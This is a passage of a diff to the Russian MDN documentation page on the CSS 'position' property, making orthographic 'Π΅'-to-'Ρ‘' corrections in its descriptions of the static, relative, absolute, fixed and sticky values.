- <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ позволяСт элСмСнту Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ Π΅Π³ΠΎ состоянии, располоТСнном Π½Π° своСм мСстС Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Бвойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> ΠΈ <code>z-index</code> <em>Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ</em> ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ элСмСнту. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ позволяСт элСмСнту Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ Π΅Π³ΠΎ состоянии, располоТСнном Π½Π° своём мСстС Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Бвойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> ΠΈ <code>z-index</code> <em>Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ</em> ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ элСмСнту. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt><code>relative</code></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ позиционируСтся Π² соотвСтствии с Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ смСщаСтся <em>ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ сСбя</em> Π½Π° основС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>top</code>, <code>right</code>, <code>bottom</code> ΠΈ <code>left</code>. Π‘ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π΅ влияСт Π½Π° ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов; Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, пространство, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ для элСмСнта Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы, Ρ‚Π°ΠΊΠΎΠ΅ ΠΆΠ΅, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ позиция Π±Ρ‹Π»Π° <code>static</code>.</dd>
- <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ создаСт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контСкст налоТСния')}}, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>z-index</code> Π½Π΅ <code>auto</code>. Π•Π³ΠΎ влияниС Π½Π° элСмСнты <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> ΠΈ <code>table-caption</code> Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ.</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ создаёт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контСкст налоТСния')}}, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>z-index</code> Π½Π΅ <code>auto</code>. Π•Π³ΠΎ влияниС Π½Π° элСмСнты <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> ΠΈ <code>table-caption</code> Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ.</dd>
<dt><code>absolute</code></dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ удаляСтся ΠΈΠ· ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΈ для элСмСнта Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы Π½Π΅ создаСтся ΠΏΡ€ΠΎΠ±Π΅Π»Π°. Он располоТСн ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΅Π³ΠΎ блиТайшСго ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, Ссли Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ имССтся; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ помСщаСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исходного {{cssxref('Containing_Block', 'содСрТащСго Π±Π»ΠΎΠΊΠ°')}}. Π•Π³ΠΎ конСчная позиция опрСдСляСтся значСниями <code>top</code>, <code>right</code>, <code>bottom</code>, ΠΈ <code>left</code>.</dd>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ удаляСтся ΠΈΠ· ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΈ для элСмСнта Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы Π½Π΅ создаётся ΠΏΡ€ΠΎΠ±Π΅Π»Π°. Он располоТСн ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΅Π³ΠΎ блиТайшСго ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°, Ссли Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ имССтся; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ помСщаСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исходного {{cssxref('Containing_Block', 'содСрТащСго Π±Π»ΠΎΠΊΠ°')}}. Π•Π³ΠΎ конСчная позиция опрСдСляСтся значСниями <code>top</code>, <code>right</code>, <code>bottom</code>, ΠΈ <code>left</code>.</dd>
<dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ создаёт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контСкст налоТСния')}}, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>z-index</code> Π½Π΅ <code>auto</code>. Поля Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΊΠΎΡ€ΠΎΠ±ΠΎΠΊ Π½Π΅ {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'ΡΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ')}} с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ полями.</dd>
<dt><code>fixed</code></dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ выбиваСтся ΠΈΠ· ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈ для элСмСнта Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы Π½Π΅ создаСтся пространство. Он позиционируСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исходного {{cssxref('Containing_Block', 'содСрТащСго Π±Π»ΠΎΠΊΠ°')}}, установлСнного {{glossary("viewport")}}, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случаСв, ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>transform</code>, <code>perspective</code>, ΠΈΠ»ΠΈ <code>filter</code>, установлСнноС Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ½ΠΎΠ΅, ΠΊΡ€ΠΎΠΌΠ΅ <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), ΠΈ Π² этом случаС этот ΠΏΡ€Π΅Π΄ΠΎΠΊ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ содСрТащий Π±Π»ΠΎΠΊ. (ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ нСсогласованности Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° с <code>perspective</code> ΠΈ <code>filter</code>, ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΡŽ формирования Π±Π»ΠΎΠΊΠΎΠ².) Π•Π³ΠΎ конСчная позиция опрСдСляСтся значСниями <code>top</code>, <code>right</code>, <code>bottom</code> ΠΈ <code>left</code>.</dd>
- <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ всСгда создаСт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контСкст налоТСния')}}. Π’ ΠΏΠ΅Ρ‡Π°Ρ‚Π½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… элСмСнт помСщаСтся Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° <em>ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС</em>.</dd>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ выбиваСтся ΠΈΠ· ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈ для элСмСнта Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ страницы Π½Π΅ создаётся пространство. Он позиционируСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исходного {{cssxref('Containing_Block', 'содСрТащСго Π±Π»ΠΎΠΊΠ°')}}, установлСнного {{glossary("viewport")}}, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случаСв, ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>transform</code>, <code>perspective</code>, ΠΈΠ»ΠΈ <code>filter</code>, установлСнноС Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ½ΠΎΠ΅, ΠΊΡ€ΠΎΠΌΠ΅ <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), ΠΈ Π² этом случаС этот ΠΏΡ€Π΅Π΄ΠΎΠΊ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ содСрТащий Π±Π»ΠΎΠΊ. (ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ нСсогласованности Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° с <code>perspective</code> ΠΈ <code>filter</code>, ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΡŽ формирования Π±Π»ΠΎΠΊΠΎΠ².) Π•Π³ΠΎ конСчная позиция опрСдСляСтся значСниями <code>top</code>, <code>right</code>, <code>bottom</code> ΠΈ <code>left</code>.</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ всСгда создаёт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контСкст налоТСния')}}. Π’ ΠΏΠ΅Ρ‡Π°Ρ‚Π½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… элСмСнт помСщаСтся Π² ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° <em>ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС</em>.</dd>
<dt><code>sticky</code></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ позиционируСтся Π² соотвСтствии с Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ смСщаСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΅Π³ΠΎ блиТайшСго <em>ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ°</em> ΠΈ {{cssxref('Containing_Block', 'содСрТащСго Π±Π»ΠΎΠΊΠ°')}} (блиТайший Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π±Π»ΠΎΠΊΠ°), Π²ΠΊΠ»ΡŽΡ‡Π°Ρ элСмСнты, связанныС с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ, Π½Π° основС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>top</code>, <code>right</code>, <code>bottom</code>, ΠΈ <code>left</code>. Π‘ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π΅ влияСт Π½Π° ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов.</dd>
- <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ всСгда создаСт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контСкст налоТСния')}}. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π»ΠΈΠΏΠΊΠΈΠΉ элСмСнт Β«ΠΏΡ€ΠΈΠ»ΠΈΠΏΠ°Π΅Ρ‚Β» ΠΊ Π΅Π³ΠΎ Π±Π»ΠΈΠΆΠ°ΠΉΡˆΠ΅ΠΌΡƒ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²Π΅Π½Π½ΠΈΠΊΡƒ, ΠΈΠΌΠ΅ΡŽΡ‰Π΅ΠΌΡƒ Β«ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈΒ» (созданный ΠΏΡ€ΠΈ <code>overflow</code> Ρ€Π°Π²Π½ΠΎΠΌΒ <code>hidden</code>, <code>scroll</code>, <code>auto</code>Β ΠΈΠ»ΠΈ <code>overlay</code>), Π΄Π°ΠΆΠ΅ Ссли Ρ‚ΠΎΡ‚ Π½Π΅ являСтся блиТайшим фактичСски ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ ΠΏΡ€Π΅Π΄ΠΊΠΎΠΌ. Π­Ρ‚ΠΎ эффСктивно прСпятствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Β«Π»ΠΈΠΏΠΊΠΎΠΌΡƒΒ» повСдСнию (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ всСгда создаёт Π½ΠΎΠ²Ρ‹ΠΉ {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контСкст налоТСния')}}. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π»ΠΈΠΏΠΊΠΈΠΉ элСмСнт Β«ΠΏΡ€ΠΈΠ»ΠΈΠΏΠ°Π΅Ρ‚Β» ΠΊ Π΅Π³ΠΎ Π±Π»ΠΈΠΆΠ°ΠΉΡˆΠ΅ΠΌΡƒ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²Π΅Π½Π½ΠΈΠΊΡƒ, ΠΈΠΌΠ΅ΡŽΡ‰Π΅ΠΌΡƒ Β«ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈΒ» (созданный ΠΏΡ€ΠΈ <code>overflow</code> Ρ€Π°Π²Π½ΠΎΠΌΒ <code>hidden</code>, <code>scroll</code>, <code>auto</code>Β ΠΈΠ»ΠΈ <code>overlay</code>), Π΄Π°ΠΆΠ΅ Ссли Ρ‚ΠΎΡ‚ Π½Π΅ являСтся блиТайшим фактичСски ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ ΠΏΡ€Π΅Π΄ΠΊΠΎΠΌ. Π­Ρ‚ΠΎ эффСктивно прСпятствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Β«Π»ΠΈΠΏΠΊΠΎΠΌΡƒΒ» повСдСнию (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
@@ -62,7 +62,7 @@ translation_of: Web/CSS/position
<h3 id="Relative_positioning" name="Relative_positioning">ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты смСщСны Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ ΠΎΡ‚ ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π½ΠΎ Π±Π΅Π· смСщСния, Π²Π»ΠΈΡΡŽΡ‰Π΅Π³ΠΎ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Β«TwoΒ» занимало пространство своСго ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ располоТСния.</p>
+<p>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты смСщСны Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ ΠΎΡ‚ ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π½ΠΎ Π±Π΅Π· смСщСния, Π²Π»ΠΈΡΡŽΡ‰Π΅Π³ΠΎ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Β«TwoΒ» занимало пространство своСго ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ располоТСния.</p>
<h4 id="HTML">HTML</h4>
@@ -134,7 +134,7 @@ span {
<h3 id="Fixed_positioning" name="Fixed_positioning">ЀиксированноС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>ЀиксированноС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΌΡƒ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊ, содСрТащий элСмСнт, являСтся Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ содСрТащим Π±Π»ΠΎΠΊΠΎΠΌ, установлСнным Π² ΠΎΠΊΠ½Π΅ просмотра, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ° Π½Π΅ Π±Ρ‹Π»ΠΎ <code>transform</code>, <code>perspective</code>, ΠΈΠ»ΠΈ свойства <code>filter</code>, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), ΠΈΠ·-Π·Π° Ρ‡Π΅Π³ΠΎ этот ΠΏΡ€Π΅Π΄ΠΎΠΊ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ мСсто элСмСнтов, содСрТащих Π±Π»ΠΎΠΊ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания Β«ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅Π³ΠΎΒ» элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ остаСтся Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ нСзависимо ΠΎΡ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠΊΠ½ΠΎ c <code>id="one"</code> фиксируСтся Π² 80 пиксСлях ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы ΠΈ Π² 10 пиксСлях слСва. Π”Π°ΠΆΠ΅ послС ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΎΠ½ΠΎ остаётся Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра.</p>
+<p>ЀиксированноС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΌΡƒ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Π»ΠΎΠΊ, содСрТащий элСмСнт, являСтся Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ содСрТащим Π±Π»ΠΎΠΊΠΎΠΌ, установлСнным Π² ΠΎΠΊΠ½Π΅ просмотра, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅Π΄ΠΊΠ° Π½Π΅ Π±Ρ‹Π»ΠΎ <code>transform</code>, <code>perspective</code>, ΠΈΠ»ΠΈ свойства <code>filter</code>, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), ΠΈΠ·-Π·Π° Ρ‡Π΅Π³ΠΎ этот ΠΏΡ€Π΅Π΄ΠΎΠΊ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ мСсто элСмСнтов, содСрТащих Π±Π»ΠΎΠΊ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания 